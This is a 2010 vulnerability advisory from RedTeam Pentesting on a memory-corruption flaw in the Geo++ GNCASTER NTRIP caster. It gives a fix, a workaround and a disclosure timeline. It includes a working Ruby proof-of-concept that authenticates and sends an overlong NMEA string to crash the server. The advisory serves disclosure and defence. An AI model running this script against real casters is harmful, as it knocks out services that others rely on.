Geo++(R) GNCASTER: Insecure handling of NMEA-data

Advisory Content :

Advisory: Geo++(R) GNCASTER: Insecure handling of NMEA-data

During a penetration test, RedTeam Pentesting discovered that the
GNCaster software does not handle NMEA-data correctly. An attacker that
has valid login credentials can use this to crash the server software or
potentially execute code on the server.

Details
=======

Product: Geo++(R) GNCASTER
Affected Versions: <= 1.4.0.7
Fixed Versions: 1.4.0.8
Vulnerability Type: Memory corruption
Security Risk: medium
Vendor URL: http://www.geopp.de
Vendor Status: notified
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2010-002
Advisory Status: published
CVE: TBA
CVE URL: TBA

Introduction
============

"Geo++(R) GNCASTER is the Geo++ implementation of a NTRIP caster. NTRIP
is a protocol within RTCM to provide GNSS information via Internet."

(from the vendor's homepage)

More Details
============

After logging in, the GNCaster server software allows the user to
receive data streams. For some of these streams the user can send
so-called NMEA-data to the server to specify the user's geographical
position. If an attacker sends a long data string, the server software
crashes. RedTeam Pentesting believes it is also possible to exploit this
vulnerability to execute code on the server.

Proof of Concept
================

The following ruby script can be used to crash the GNCaster server:

-------------------------------------------------------------------
#!/usr/bin/env ruby
######################################
# #
# RedTeam Pentesting GmbH #
# kontakt (at) redteam-pentesting (dot) de [email concealed] #
# http://www.redteam-pentesting.de #
# #
######################################

require 'socket'
require 'base64'

if ARGV.length < 3 then
puts "USAGE: %s host:port user:password stream" % __FILE__
puts "Example: %s 127.0.0.1:2101 testuser:secret /0001" % __FILE__
puts
exit
end

host, port = ARGV[0].split(':')
pw, stream = ARGV[1..2]

begin
puts "requesting stream %s" % stream.inspect
sock = TCPSocket.new(host, port.to_i)
sock.write("GET %s HTTP/1.1\r\n" % stream)
sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
sock.write("\r\n")

response = sock.readline

puts "server response: %s" % response.inspect

puts "sending modified nmea data"
sock.write("$GP" + "A" * 2000 +
"GGA,134047.00,5005.40000000,N,00839.60000000," +
"E,1,05,0.19,+00400,M,47.950,M,,*69\r\n")
puts "done"
end
-------------------------------------------------------------------

Workaround
==========

A vulnerable server could be protected from this vulnerability by an
application layer firewall that filters overly long NMEA-data.

Fix
===

Update GNCASTER to version 1.4.0.8.

Security Risk
=============

As an attacker needs valid user credentials for this attack, the risk of
this vulnerability is regarded as medium. If streams that use NMEA-data
are publicly available, the risk should be considered as high.

History
=======

2009-07-07 Vulnerability identified during a penetration test
2009-07-14 Meeting with customer
2009-12-01 Vendor releases fixed version
2010-01-27 Advisory released

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

--
RedTeam Pentesting GmbH Tel.: +49 241 963-1300
Dennewartstr. 25-27 Fax : +49 241 963-1304
52068 Aachen http://www.redteam-pentesting.de/
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQEVAwUBS2A0d9G/HXWsgFSuAQLv5wf/e6at3LCI4iXgxe4v/nJz3c/6b36EONWe
ZdpegZFmIrbH4ywRS3A0BzvOXk0qNixHWPDrqMpthjRRM8TDEHRv4QY8fZC53DZa
QvwtVOsrkMAU/VgUWzdrKLZ6dKEAZUpfANoIpaStASqKviC0QjukwAEipkQD1rPt
pZTJasgoDBZ+fKu1fT7NkOrxrOloXVhr2KRRdt6OzfuYpYBryPpAztywGy8kvIId
zwHf7AbhSPbHPX8gyXt1U/quC7InOhx8oE6Z7DsP3KJ8PgfQQ6q1rKAuXkB8X+/y
FFF1fCYbu+nEDD7qzf3r72yDLvBfjCvqKmKn/mvDi+UilXVHZCAHkw==
=5glG
-----END PGP SIGNATURE-----

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Geo++(R) GNCASTER: Insecure handling of NMEA-data